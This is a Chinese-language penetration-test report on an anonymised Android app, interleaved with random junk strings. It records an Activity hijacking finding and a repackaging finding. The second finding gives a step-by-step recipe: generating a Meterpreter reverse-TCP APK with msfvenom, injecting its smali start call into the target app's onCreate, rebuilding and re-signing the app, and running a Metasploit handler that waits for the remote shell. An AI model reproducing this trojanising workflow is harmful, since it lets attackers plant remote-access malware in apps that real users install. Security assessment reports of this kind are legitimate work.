原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

0 I! n% u3 j/ O2 X ^- S, P: e/ q 1 k: b- U! g' y" [! j1 E

- Z: _8 `. q, H8 [* f
3 ? i. C _5 y' X3 e / C! G, o9 X. N5 \ I6 D/ `9 o1 i* f6 e' _

- P& T5 `' C1 G! t4 N/ D! b; d % _% F! d1 c9 E

( ^3 k9 p" ]0 v0 Z 文档编号：                7 j7 [' D/ [( Q' F 7 ?- `, x$ Q4 @

+ C4 {& ` {2 R. c   ; b& G7 o3 o- j: w5 v! B8 t 1 r# a4 I _2 P5 H

9 [. j8 w4 ^7 h# P% J5 ~- h . x# o' W, L4 T( f+ ^! z

4 Y6 ^( i! A' W% W , a/ V* S: o' b' o9 L I X   $ J* z% N( ]% l8 X" u

" a- v" T7 ]4 a6 X( a2 E! U

& k$ B& c; ]0 ~) d   ! y0 M* Y4 C7 \$ X! ?

* P1 }8 k* S$ _0 M( q

- l$ i( D; g4 |) d7 w0 S  

* b. }" u0 u% E* i$ C: M" d 0 T5 v5 m# Z# a4 R9 n, h* s  

6 B/ L$ N& P0 D7 s

某某某APP渗透测试

6 L- o+ i$ e4 ]0 \# N. f 0 N3 \/ m) o% W* M. M& [0 Q

3 @9 ~" e+ M( E5 f ; C' V [) G' e3 I   ; Y7 r5 X0 _# G* n# z

% Q# |3 S/ r, L. X- S/ W5 h9 F

: _ @: l" R8 d% Z/ C" w- A( s# [ ) r/ a0 @' R; {" F p   0 Q& [* D9 F4 L- ~

6 n2 O J; O* y# z+ Y7 w* V  

) ~1 r- i; u( l9 d. Y9 s) W6 m) i # u8 a8 u V. P* y

0 `/ ~& ^: q/ f% p) i, |  

. X' Z! [1 c9 F$ @

技 术 报 告 ! P% i8 U; B7 s1 u c

  6 K7 \4 B" D5 W$ ~/ U

6 Q+ V* h, @$ x( Y7 m5 s0 P

6 c' O' S2 I( }% H( j   5 } w1 S @4 p1 r E1 e m% S/ h; h" c1 O

0 i8 U, R$ y3 y

; b. } c+ C* @: b0 d. V/ \( _   0 y+ y5 G) }0 ^8 y* I. P4 i

4 O, k' K& _$ [( H6 E0 ~* f  

+ z" q" k. S, r0 w1 A( O

  7 E+ _) G- d5 d5 Y4 p $ N$ d6 V4 R: P( l

0 O& s. U4 N1 d5 K5 j. I7 B

: P' h3 ?; n( ^   & Z: F5 u, L( a2 e# [

. [, J+ V* z9 N, t& z 0 ?: T$ j9 f }5 b( b

7 v D5 [) I, ^# P 8 Y, b+ p5 w5 l+ g7 K3 K   ! {. y$ f: ]8 h" D& C

& r0 `3 A* R$ t5 e& O 5 K; V, `# ~* I% S" K& e# I   6 h3 q4 _: l ]! v. s2 f2 `8 B 5 d0 L% ?0 n& l

# S) ^5 h8 m+ i) L! y* i& z

$ O. I+ Y7 r* P8 x - H0 D2 A4 U4 ]0 O! E  

 

2 k# s ^+ R- l 3 Y# F# r( a$ _

  ' k1 C& c6 J, ]. F! ?, a9 m ( X# [! b! F* I, _ L6 _+ y

w% i9 g) M* G: J6 W  

/ P @ D1 y) t% T/ q' s6 Q

9 f$ v( i$ S) b* i" p   . }& D$ U( x! w) `1 P

8 g* a1 D' E, {3 o9 I$ n0 J+ W

  7 ^. Y7 _& z9 d 9 C4 w' q7 d/ g. f3 d. R" M* D

/ v8 y( I, r8 B' Y: _+ W% m

( S. b1 E0 M9 K1 r! H - J- ]' u. M8 q! K) ~) U   5 q) u( n- M5 |3 y% x& k d # k- o9 J% U4 v

& z+ e3 n4 a' ^9 ]

8 h5 |. @1 c+ c+ d4 \( c   5 V* N8 B h+ O6 U- Q6 r 8 O7 f" D" r3 i- P7 _* S% d( G

$ z8 r2 v, b1 }( Z$ j% B. F ( a* l& ^' C. y" @5 Q

& e! {" b- b% V) |( H! U9 H5 K7 ~   3 L4 }* A- ?% g3 a) n/ L8 T 3 w/ X6 m: {! X0 v7 f2 J$ K

- ?& n# _- y$ f \) j % [6 J o- D b9 n7 p" Q

$ u) a/ r. y. H  

( a' |) b/ D8 j h. c* r - ?6 x& g J' t1 `* r6 Y" q( X# B

$ j: \! ]0 b* i E( M3 } ?; X+ o 二〇二〇年 $ k7 T( N" U4 U# Y! q v 4 n) a9 ?& D2 m5 Q* J

1 F( R+ \% j' ~ 7 ?: o( w; A) X, W! s# @2 x8 Z- ]8 Z
' E! i+ h5 ^- f

7 v0 T) e/ ]7 E9 f* V2 c 5 J% T/ G4 o/ S {1 H& |

( e! A9 ?- V" Y2 {0 Z7 f6 L( O

目 录

- S' ]! s6 W9 I* B # A( G7 s9 s( U$ @! ` ' w- @0 e1 ]5 H4 x1 m

7 \/ a' O" d! m$ G4 r  

7 s% L# s0 q0 r. x6 ^ `) b3 y+ Q+ D

5 V# v9 a2 s' H& u$ \ 1 概述... 3 , S- N6 o- _3 v) @* E% N. C

2 T, Z! _. w D! J: r 1.2测试时间... 3 , w1 H, @) E+ Q) N" p

5 _* A# B, k% l% ?/ a. z ! x$ Y- x) Z0 W1 ?, T) A8 m

. N1 I+ ]3 W9 s% s4 E 1.3测试对象... 3 0 \$ ]5 {; s" ]6 u & r, ?/ v% [# W- T ~

5 _4 {& r; }) `" |, x t 1.4测试结果... 3 2 { V1 `. P; H4 j% H / t7 R' c8 o/ P& ~6 k" M. l* x( t

5 I* |+ ]' ]8 l2 I 2 检测结果... 4 7 v1 \& ~6 y, X6 C, ^

0 s$ d# E( _5 O* N9 T7 O , J* i- H* z u5 o 2.1 某某某... 4 1 v4 R" f/ D6 R " q% G4 k: o: v0 h0 ^

: |. B& h4 e3 T; l$ D/ C( L/ M! V T7 u: B8 I3 l$ P0 ?; ~# f1 C

! T9 }# g0 q7 A( U6 V + I* A: m Z C8 |5 s 2.1.1检测目标... 4 9 |" q' O d8 r: Z" S- `

4 d5 M2 w3 y- }0 X. s3 Q 1 p8 W: t. U4 M" [+ P$ {

" y8 R9 R5 o1 H5 s' Y7 h. Q 2.1.2检测结果... 4 0 z% K2 A) m) N ^5 z6 J# O y6 O/ R 4 m/ V# v5 A6 i( q; A

& Z$ o0 b( p: ~4 T/ |6 U- { 2.1.2.1. 4 0 b& f% |9 [! M C; c9 o( h 4 c" x4 E$ x( W

4 g8 ?; d4 Q K+ U% O6 } R

) T. y2 ?" |6 g$ { Q) n$ `5 s+ q 2.1.2.2. 6 $ e+ l' @9 c5 h; G1 v3 i# a 7 e7 E- f# q8 Z5 r% T% D

1 I1 h6 \* w1 w9 D% U 4 `* L N1 }% z1 f$ S# A. D- c7 | ) h( Z, j1 R, @. L6 O/ ^# w

. [4 Y) k6 T- ^ 7 q' c0 L' u0 c3 d# m) v: c

; V+ g5 }0 b/ u 9 A' n# g' a& J
, L. w5 s( n, t Q, V + q+ s, R j/ x

% b8 } C# ^1 u" w. k ~ H+ @ 1 概述 . _# {; V% V# ]) W% x1 q' K / |9 [1 p4 G+ i' A( k1 d& N% Z

) k R/ R2 X2 p! z c* J- ^5 ]; ` : q9 K4 o1 ?( g( E

, u7 [% N+ P4 t: G. W' O2 W1 l 1.2测试时间 & r) i8 r8 Q! x9 K$ m 5 u" s; @* N4 c" v

. Z& m4 N3 P4 r! T0 \1 P8 P# F/ k ; B) Y( {, a5 g8 f# v5 l- f) L& T- B/ b# ]" j: s: S$ Q3 _/ ?" M" k1 i8 y4 B- \# k3 z3 y, a4 y8 k5 {' ^' ` l& s+ ~: K& P/ \3 t& g, ?$ p% n5 m5 @4 W4 g# K; w) E! w4 u8 b% w$ |1 y3 K6 Z0 W5 Q( c" ~2 c& B+ E& u( o6 ~5 }6 |% D" v! ~( n" Y2 a9 Y' r/ k& f+ E/ l: ~$ {' G0 Q/ \: H+ _; a8 |/ \8 \6 w( e) [/ l, _8 G$ g: Q1 v& e \% T! W6 }1 |+ c9 @& K3 @- E2 H2 s' O# z. B6 D) n" C d- C& v. I

; a2 b- M+ t' U8 ~3 X. |1 v# g 渗透测试时间
2 `. r- z! g8 U1 \/ P $ j% C+ \/ \) q. A% U: h& q }& Y. p9 o5 d* S 起始时间 ( }6 Z; @. B. l3 g5 g ; w |1 Q' n# J+ F } x1 I	) E0 ~9 D! m. i: ? P7 \) j * I( w; W4 A3 s) @% b8 v 2020年4月6日 8 ?- A( j1 B# x6 F 6 N% r; U) F' a4 f# t( g% l/ K6 p5 Q 5 X. I8 J4 k) ^1 k% Z$ m
' X' Z( r! E5 V" O' F ! W+ K% k: `! t. ] W + V. t* L0 f, m, u. p 结束时间 & [4 i: D7 d: g* |- ^ . a$ r# A9 T- s+ y6 E* p, C	. f# ]2 h# s, s. ]- N2 ` 3 Z) @# h. |3 y. F5 T3 a 2020年4月9日 * a! d9 W0 |5 Z0 {4 ~) o' r

w9 j+ U( ` M1 ?' _: r; \ O' I 1.3测试对象 , j: s0 l. E( @: I$ y. J

+ X% E! x8 |5 @ M7 h+ m

9 n" D( ^0 ?. }5 r9 n$ Z 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 3 |& L% [! C: g1 b4 X% v4 r 6 a B/ K3 o z

" f' m+ [% [2 Y& C! y8 ~8 m! G 表1-1 检测对象 # L! ` t" C3 }# `% w) G1 L

+ A7 s: `7 [/ A. k. M% {+ ?. B B1 T0 O5 f3 R/ |0 H0 z4 s' f& [. r. U& u5 }: S4 ?8 K; k" q% V! a( j% y9 f& o! W% v/ _1 {1 c" S% p; @5 m7 v. v& z* k: W. K' r- D2 @& j0 n% X0 R- r0 [% Q

0 k/ m. Q7 ] C, } 序号 & f, {+ A0 M9 F, T" J9 B! I * Z! N, ], [ l' T	0 d2 U8 U9 q8 v& ~ 测试对象 4 c2 F5 G9 w8 d* D) a: `. Z# J7 I 0 p5 w8 E: J8 ^6 c 8 [+ j" X3 ?5 o3 n9 h' c# J' c. g6 e' g	$ @' ~1 M8 a! L, H 测试地址 ; W; r% j1 T3 j2 B' v2 X3 `	: ]7 x/ W( j! U7 r1 g & S! Z8 M- q x0 [7 e" Y, O / W& I4 n0 F1 T) w ' x5 t0 P; ~5 }( S 安全漏洞 0 ~- o" G; G0 X4 j ' K- O! L* }# W# Q# U% z
$ A* ^) R8 U5 X6 U# C6 P+ y ' R: v8 ~3 D" I& K 1 . M; a3 b1 G! y x( _ 5 L: ]' o; |8 Q/ C4 w	0 D5 i/ P$ p1 w' A5 Q 某某某安卓APP 3 `' T2 ^! d" i: _ 0 D6 ^1 z( U0 X9 Z& Q	0 C8 P8 e' w+ Z* q. I1 }( J : v5 _ c2 Z3 t6 w, P ; {3 F Q- g6 M7 }$ L) X   ) }( P2 b# M8 E. G6 T2 U: X: ?	. A/ d0 l" [7 I7 V b% c 2 & D" I6 f/ Q2 }2 {; D7 B# ]- o % _. s- P% P9 O

- n7 w+ p& j0 J2 ?( J- p$ m

1 ]( S1 Q) k0 k! V/ Y" @8 ^ 1.4测试结果 . n6 k" y6 H, `' U 5 r4 N3 ^6 R' Y- g( X" x/ I! r' X

& D) m/ N% q7 X' H5 x ! y t7 I' g! c: j+ r! { 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： 0 t7 B& u, t, ^# E) z. V + ^. K5 S5 b$ q+ s8 C0 g

! k) c) r0 d T1 C+ Q$ W$ L

! I" T! L0 c" }/ H ; q8 ~/ r& h. N0 s; w4 V+ Z' }  

& G' E# F3 H7 O) B: S 9 @6 p* }7 P( v3 B- O% B( w, B7 Q% P! U& O: n; J: u; l7 o$ {& v! U* @1 _, g, [) m* T/ t! n, [2 u0 f+ M+ G+ }8 s( _9 Q) F+ b2 S3 f7 M% U( x% W9 o. t2 h) m# Y6 p" }+ L+ p7 s( ~. R1 t7 b8 v& M2 P5 h/ F! A/ L) x8 q+ x: H/ \. V4 N0 v3 t: e0 s2 S }1 S0 g1 p5 _5 z( s/ v% v# b2 z- @' Q! Q2 Z; x H9 X* ], E) ?1 w, f& d8 `6 [9 B7 ^! H3 P8 @) S2 q( ~4 Z( {/ n1 h; S3 S3 J4 S W$ \3 W- o. G8 Q; i( j9 Y2 G+ n9 Q0 ~. V9 ~( j) h/ w+ |! Y- e: _2 ^# D ~9 _# L7 q! U) K$ C9 P, c7 b+ x# ~7 x5 w$ T' p" G2 \7 G

序号 9 k. H' V1 W5 u* E3 V1 M, }; W# h 1 }0 j" \4 Q* X+ E1 K% T	& P" N' L% q% x1 U, m2 F! Z b * B8 m* h2 ]8 g 系统名称 ; L! }0 w) |1 c , N* x7 e4 C, z8 r7 n/ c6 u4 X 4 S/ P6 p% y4 C	3 O& h% O& q: A; g& c! ` . P! x2 I& @9 `+ b1 R 漏洞名称 + w. O% @) S {" ^( G8 ^) Z. _ 1 n" M! [4 T3 A* H7 e	|: k' B& W% k0 @5 L 漏洞危害 5 [ \ m( ]" m( m7 V x. |$ m* |% I2 K8 ?- Y8 S! r	: E7 j! J" v5 Q# y, m4 J 2 G9 q% V9 o/ z 修复结果 * Q. D2 O: l1 l. S* Z" s0 r 3 `2 f0 D! e. O4 [/ \ 5 _2 K6 D' G1 }" ?2 K% p2 ^4 R
$ x# ^0 V2 y$ o% o6 s+ P% F$ S - D9 l' r$ p0 A; S7 d' @" w " N& a7 N# _, D/ T2 \ 1 5 O7 T# Q5 G. l& K" v , D) l# a/ u2 D' ~% Q+ ~	7 ~4 M& \# z) \3 V8 Y D( N- C6 ^ 0 H& _' _# R) X3 M 某某某某某某APP 7 J( h& G2 p4 S# Y 2 ^! [* k+ t" y3 K1 W3 }4 I) ]) J	1 B& y1 x0 X: C8 A" s/ _ * U2 T1 ]$ q" B Activity 劫持 / V- l2 _8 I9 r- D/ `) a- v , r" f5 u8 J J   ! z; ^! U8 s' `! f& B 1 k2 D/ ?# G' Q: n, D% A% G/ u! a	7 T! B, B& C9 R/ f7 w* _ ; c6 [" k! j0 _; i 4 G# K: C4 R6 v3 ?& A6 H - a5 c/ _# U; a% v. V% v 高 ! i i* e! J% O5 m5 X: F8 T 9 f% Q1 B, _ n. c' Y	/ v# \: ^$ O9 y5 f; N. s   4 C; J B: i& Y$ C( G" I$ S7 E, @ 3 y8 X, N2 g. o4 s% l * @6 J2 r+ H( B1 o. c3 N+ {% l; _
0 D- z% B4 M7 }% e; c* z - e% ?, N8 ~ t$ q* z 2 . Y( F- a8 l& k! R! @! U. V - G; J4 z, g8 `, s) j0 m 1 X N1 E( Q4 j" o0 \2 O	3 l8 j7 ^+ Q. `, D5 i 某某某某某某APP ; w- F7 ?2 W* L& i ( _+ d* Q3 |: q E! ?9 |+ ?	% W+ e5 r4 ]: F' ]6 j/ Y- q9 k ! Y7 w# I( M& @" b) V" P% X) Q 反编译二次打包捆绑木马、篡改APP代码	7 S1 H5 c/ P9 i$ f 9 I' c; w- [6 V, x" k" O 高	% V6 t6 E' x5 @4 p- G- K* m 0 S+ y, j. }' Q7 T. T$ Y   , y7 @6 M" C& s6 j6 V8 _ " P! y# }. t+ W3 X9 P& X* A8 ]9 I4 e - u& O [3 R" {: U5 u- G4 @

$ J; x; v, [- T) w( `8 \ I 0 f. t, O+ k% v) W

/ G7 T7 G4 J1 M) h 8 x& k( x# a7 h" C. z

' `$ Z; Q9 s7 s! J" ^4 d0 a9 ^& w   4 t' T* n5 ~4 ]' Z* U/ L: K' o7 `

' {$ l( D! S% X4 ? 2 V0 n: c5 v: v1 c" s9 M

5 R" \/ A& Y* r # P0 o0 ]) i7 V9 H. l& ?. y4 a% a 表1-2 测试结果 ( O, n( t J1 K# G& g

! h& L& f" A' `; J1 e8 u b: N * o' g" v* y) V8 t& q

  ) m8 I9 J1 W7 e% b0 [9 s

2 检测结果                   

* d/ K% Y9 r& B' `

2 i) y$ T$ B" R) N6 t$ o 2.1 某某某 " p( l" O$ j" ^9 V( t8 j

" X+ g* j+ U; [: Z( _

# K+ @, O, L! z- i/ D3 W3 {0 } 9 L& o3 w. N: u/ J% ^4 I) A5 v 2.1.1检测目标 $ }2 ~/ r2 F7 g8 p

) ]) W4 T% T0 L& H0 I# M0 s

& S% B6 G) j6 z1 q" R8 w6 Z 5 ^- Y6 y( n0 `. u# E J 目标地址： 某某某某某某APP 5 J8 M% u/ K5 w

2.1.2检测结果

7 I4 ?3 V' H: i& F/ A

7 \; m& }& P; S4 z* n6 z 2.1.2.1 ! {" D5 C; O) |& Y+ V - [' z; E8 j- T: a. ~9 r8 s

. d2 E5 Y* ^1 ~ N2 K) f5 L- F

' d4 C$ ~5 u) r$ A% v; ?% g# k 漏洞链接地址：某某某某某某APP

) f# G6 n( n7 m6 }% R% l; N3 i ) w1 I8 C+ I- _0 {

 

5 B$ r, J& r$ }% s2 {$ S5 o/ S; R 7 \, }8 e6 ?5 o, @ r8 |6 {% D# S

, {+ o5 K4 W9 s5 ^+ \7 Z 5 S9 I J7 {6 g# F: a, p 漏洞分析及取证： ( y% W8 N) w# a) S; ~6 @

J) }0 h5 U c! m - W1 @! E8 u: u% M+ o: M1 ]

# C9 C/ f9 S7 @8 k9 S                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

8 B2 i0 |" P$ i5 R" P & H5 V; z( p8 A, w5 C0 X( \$ [

3 R! z! I$ {6 Q( J. w+ p, M% \      & T/ p) r5 [! T/ t9 D5 ]

6 O* K; ?1 {8 i

9 v; V& r/ k+ p+ s                       . v* D J( c2 p# j1 Y, A

; A! l$ j& K/ P/ R

! t8 Z0 N Z( h8 K, r7 s + y. X* v6 F4 J$ a' b: J; I0 j0 X % v# H# G0 J: l + m7 m/ s8 S0 Y6 ]* }0 G) J3 b

: r# i/ Y8 o/ q! L) V ( Q" J6 o. |& Y( Z8 F5 i8 D

$ E1 a" b& K2 ]7 y - [; j6 `$ c# \% _; G % u* H0 e4 Z h2 A 1 _4 G& x ?1 E: s1 m

1 w' O. ]1 Q( A( h

$ I, b) `: Y/ ]4 ~ : u. L5 @& a; E$ n" H

& U& `6 Y" t" E. e7 L1 E

3 A/ p, |1 T; J* I 漏洞危害：高

/ j u4 p5 S2 x

3 Q4 y5 G$ l1 o* {7 H3 t! |* p4 \' d# _) t7 s5 S/ V* ~/ M1 Z. C6 N. g5 d: r7 f. k; r* q o/ t7 C/ D5 P# }5 q }8 {8 _+ q5 P3 S2 P% v1 j& D: ^" m {* S: l9 I" P) L) {' C; @% @, ^6 E% h! {' c3 j6 N- | t- `/ A& I+ N7 X9 G, y$ K, ]$ h# ?: _1 j: R& L. B; K4 _. Y8 w3 F& P2 y: K7 p \$ L8 [9 c) R+ C" a& v1 I! y3 ]% Q+ u+ m. @5 f& _. O [1 g1 O. W) |4 m1 Z- o! r( X. ^3 m8 l

' b9 R- {6 l5 V5 O 严重程度	高 / m6 O/ _' q' D. F$ z! _ H4 M, M & {- c0 o/ v7 k 2 |4 f$ A- m6 s* [% X v	5 |. p" N$ e* Q/ a: d9 w ■ : y- C* i; _8 A4 R. ? : W) Z; D4 l5 d0 _; O) _	) e9 h/ a' @8 [, E! ^ 5 x7 Q: h+ g9 {: Q9 D: g 中 3 G/ j" z0 k2 X6 e9 O4 k% @ 7 _9 L e( a4 V* }- J * C' k* T: F8 f0 c$ g0 @	9 L7 }+ j* e' f" ^4 K 1 e r. b7 Z) Z5 d$ p' h . S0 f% j2 H% I6 P! W9 t   ; _% U0 k. b3 b; Q/ s* Z( H. o % x! ]3 T5 f, {/ ~9 F- d+ Q	8 w8 ~3 e& T4 G : I( z7 v( O& ~1 D. }. {9 X 低 ! B, \0 G$ i. E4 G5 a8 ` . G& m4 C' E, h7 B2 H' ]5 ]1 u	) W3 q, ^( Y: q* a( [, K 0 ?% n4 j* p4 r& H" Y   / y2 U8 f& e) ]6 f3 d. L, c

0 Q1 V9 m$ o3 D) x( J7 t

$ P- ^1 E4 O) P0 c " Y, e( ]% P, Q

+ Y. h/ N I. W' u' G 1 S+ X! r- |* ^% q6 @9 T   . r9 h; U/ W- P- W9 K" k

4 d) O7 k8 O" k6 ]7 M1 v9 _ 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 3 v/ k: t$ J. {: A/ p2 r2 G # ^& O: R( ^% f r; r( A6 V

& {+ Y U7 ~0 x+ }" D0 Z

1 s' z! g1 H* a* Y; I4 S & w E6 n$ H9 X! _           & A: `, ?7 T' D" a

4 E) a9 y% B+ n4 G5 \9 |9 T5 r

/ f7 o; o+ y `; g   + ] ?" T" q* Z' V# G 4 L" G. P I9 s9 f

6 a! ]& l/ v$ h 5 w$ Z( `; H$ k0 G0 W

4 s4 Q) [ G# s) J P! G2 I( m 2.1.2.2

3 q3 W2 ^. H0 z6 A5 ]5 U( G1 `7 `

5 |, F/ ?' ]& S 漏洞链接地址：某某某某某某APP ; m, I! Q( r$ D' o

8 D5 n+ C& Q9 f/ E, n& ]5 _7 G K ~7 R

2 b- E \& Y) {6 o S e9 \ 漏洞分析及取证：

$ h. ]8 w! l8 P: L3 f9 e; P; A ' v9 J8 _1 o; h9 u- o, J                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

+ k- \; z; z. i. ^" K+ H% d

用Metasploit 生成木马 apk - ]! l9 J0 w: @/ j# C# r6 h/ U( K 9 N' A$ N0 f- u ?4 u# J3 z* G

5 D. `/ Q! ]2 s5 Z! _+ l " Z5 U7 @, p8 a/ w1 H

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk $ s! z f, ~" Y5 R5 j3 i$ Q5 O ( G7 f- `" F4 m: {0 b n

( u3 o* `4 G6 U0 {: z8 V

( P6 \* U1 J8 k, y 反编译目标apk和木马apk

: f6 U( X% b1 F# D7 y* u

( b- p. x c3 k' [' |+ Y apktool d target.apk
) ?+ `) L" s9 P) \& W9 j$ p apktool d cockhorse.apk ; D, q; D0 R7 Z7 [( R: c

* b, o/ i8 H1 M4 `( [+ T7 K# K1 z ) a5 R9 S! Q. m9 a2 Z; G

木马 apk 注入目标 apk

8 ]& ]5 r& f/ o4 i6 o

8 g: | p `: @5 ]1 Y 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V . p' U6 T/ E& f7 w* y 3 O. t1 R* G# R8 ]

; N6 G/ a: k7 b! Q

, l) H9 `) K$ d. A0 a) Y 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 * F5 }; ?& B" D- f9 j2 j( ?6 u

' S: B5 s; K6 A- I6 q! s

4 e6 J; ~ M; C5 W3 g* G $ l/ G. c# b) w1 @& w8 G/ G# ~& | 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

% Q5 L0 a( R# S/ ~ 3 c" H$ O9 P6 S( v. ]' }

回编译生成最终 apk & F& ~( c# @: {2 n# F 7 b4 r6 G& r% u r& l

3 ]7 V: o1 l' O ) }5 n" ^5 _+ h- @ 重新打包 , K9 J' r( _& C5 V

* h: e4 [& g* q $ x! ]: s9 N2 P" u apktool b -o repackage.apk target_app_floder

' j8 [& Y4 c' }! s1 h 创建签名文件，有的话可忽略此步骤 % u* \( ~! @0 f1 `4 y

`4 i' X7 j; M; g keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                ' O6 ]+ n6 {9 v& W% g. _ % H B# O' t% K2 Q4 A6 s

8 S! j( A" V4 L9 ?- v

签名，以下任选其一 7 }& ~( ^# Y$ F1 g7 F

1 t' B$ R( Z% q7 Z4 [8 L4 Z

jarsigner 方式 , C- b2 R0 s' e0 }4 E7 d

& I- X0 U. i+ A% R5 L7 w( ~

' U! d: a- r0 ?% j4 _ . z( }7 V/ m, c+ O' a( m7 | jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ' |# y( q% D! @+ x 3 ]" A+ q. A5 m' u- g0 J

apksigner 方式

7 u7 e c- h4 [5 _5 [$ L

, x- j3 e- Z5 N, D3 g, T apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk " K3 N1 g% z6 i' H1 n! _4 r 9 ]2 I; L' s3 |8 C; q

; s; m+ X7 Z' }

1 F8 e( h# }" I+ Z 如需要禁用 v2签名 添加选项--v2-signing-enabled false 5 ?% J; @% A/ |- {: { ! Y; [& i0 x) _2 l X3 |* \7 N

* h' }* T9 K/ b, {2 R

8 \. e F9 M( H6 \ . G6 V2 |+ r& B* p e: c! ^ 验证，以下任选其一 / N( d; ~0 n9 Z/ f% T

! z( M% J0 N; w7 v, u5 m0 F" d

5 ^( A0 b2 \2 X ^1 p$ a jarsigner方式 % @+ X9 H' H0 b7 O

$ |4 N6 V/ K7 C* B: l8 b

jarsigner -verify repackaged.apk

( ^3 x0 I; ?. z( ~* p

apksigner 方式 5 _0 Y3 ]0 \& ?

9 h' ~* n2 L& l, }' c& ?, p* B3 v + {. d2 `) Q! r! K

apksigner verify -v --print-certs repackaged.apk : j$ A, O* _0 U

3 L( y6 r0 u0 }( z& _

keytool方式 v4 l) Q A9 z7 n ! O. ?" d% @: A" ~, Q! P2 I& }% M& i

$ D/ P* y; l- k3 p3 [9 h" ] keytool -printcert -jarfile repackaged.apk 3 ]- E5 Y7 q6 y: }* B$ ~3 i

1 z2 n \6 _8 \2 \+ k4 M 对齐 0 E+ ^ p2 }# e7 \5 P, G: D) t0 n : t1 T* S. S/ U6 F! ]/ k7 q. b

1 E2 R$ Q% }& n% x. |' D

字节对齐优化

7 V) O4 Y! {7 S* O) B6 P' @! O: {

zipalign -v 4 repackaged.apk final.apk 8 E- U# ]* x2 }

8 s1 g& e% P) i9 k 检查是否对齐

3 R. d) Q- Y7 ~1 ~# @, Y) C + d8 m+ i! K2 m' R! u8 |4 u

# }& |& e/ [# ? - K! X `0 ^+ p6 q* j zipalign -c -v 4 final.apk 0 z; H$ r" y7 `& } " S4 {% e2 y- u2 M

& @7 N& s- |* ^3 M7 K7 P( z3 |/ L 1 P$ j( B) _/ S {( n8 O

( j0 C. r4 i( Y) E3 r' Y 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行

- b+ o, S0 ~( Q* a* n' Y4 z4 y$ G

) g7 M% J1 e0 l( X; d 启动Metasploit控制台，配置参数等待上线 8 e) g, h% B+ h5 [* r 2 M) N& _ i6 b

8 m$ A7 G$ P- s3 G $ V" u& ]" T2 s( ^) J8 ~

, I7 t' K- ~& |( R+ ?5 b P( ?/ k8 s 在终端依次输入如下命令 , U1 m$ o8 x. j' ?3 w, i 5 n, @. v; I9 i) z6 W0 |! }

) j% p9 d4 ^: b( X msfconsole ( V" g. q" V' @) O' v+ p9 D9 V

: h0 c% u- J# I' n ' n! f5 ] j/ P+ D6 W use exploit/multi/handler 2 d$ w: L: h0 S# Z5 m% j: `

/ R* W" Z" w; p5 X9 y 3 w; J V1 ?( p. D' |+ a

- R% p. b' }6 k8 @2 |( S# x set PAYLOAD android/meterpreter/reverse_tcp

# ]1 k6 l* L* ?9 Z+ [

& x( i# k/ S7 ^* u 1 @5 \: V! e$ j8 q6 S) I set LHOST 192.xxx.xx.xx : ?4 H, w" J/ v0 i

) m* I( Y+ e( n' V1 `6 U- I) g

set LPORT 4444 , o# [3 ]- V$ G, |0 g; K

+ }' y" |7 h+ A( Q0 x+ t- S9 H

1 [+ a+ v3 f' Y exploit 1 e1 [" P6 F1 p7 Z7 D# [& y 2 K4 u) @9 \' ^" `1 A" R! F3 x: _

5 P/ u/ o! m4 [/ u3 Y

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               & J2 [, K3 e3 \ L/ ~! m5 n 8 s" V; S7 j* z. u: b* i: Z H" b6 b

3 A; c% D1 A# t. X

7 b" o0 h: d/ t% O5 x5 M ! Z4 L4 L9 a6 e; |/ l6 Y 漏洞危害：中 & h4 q4 k% W8 [; `. F! L$ N; R# M6 i

; D/ p+ n& h% D" y! G8 R

2 D& e; S: F+ z0 Y& o 7 M7 G+ r; B" u$ o % G& x/ n3 e- E0 b% M9 `' Y( p" ?6 s, F, n! V! D' v5 G; o0 f- ^& e, \1 `9 ^* X* {# I! ?8 n: q% K6 D6 j# C% T9 p% c2 e. P2 f+ v+ r% {: J; ?9 g6 w0 ]/ V+ [% T$ O$ \. A0 y m7 v# x) ^& R2 p6 m3 r/ ^8 f: }

% G" c( ]( }3 Y2 L . L" Z, {' U0 t ) a" G- d# n- o9 G2 b0 d/ x ! d+ X8 r+ c* _2 _ 严重程度 0 P" ^7 Q) b5 F; K	7 C3 d3 ]* T6 t+ x ! ^- \) a6 @- w! W ) W1 [; ~, C9 {1 Q9 W 高	- ~0 y; z+ J" y ■ : o$ u7 N/ e4 R8 o! |0 i. F4 T	9 K1 Q* n" P. N% C2 g 中 / ~# A4 g5 F( ~7 {* Z( g % Y' f8 }& P+ W7 k # |7 O" k. {2 ~- ` - ]: q$ V7 I" p% W- F	2 N0 p$ k: f8 U Y, G . d0 P; G2 ^0 X 3 Y" v; S- J; \/ I   " w3 @) ^2 A2 m1 X) U# \ ; c, I( Y* i ~2 B( g* e! ^+ {( j _; e7 e5 I8 `' F	2 N$ I6 Q1 [4 T0 G4 h' b9 E2 L 7 @& G6 C& D n V. I u! N 低 0 O- a* H# @! H4 G; l6 W # M; c6 b. W6 o( d7 o5 C	. w$ ^% H2 r% B; G) R" ?2 B ) v P+ Q5 V# ?/ 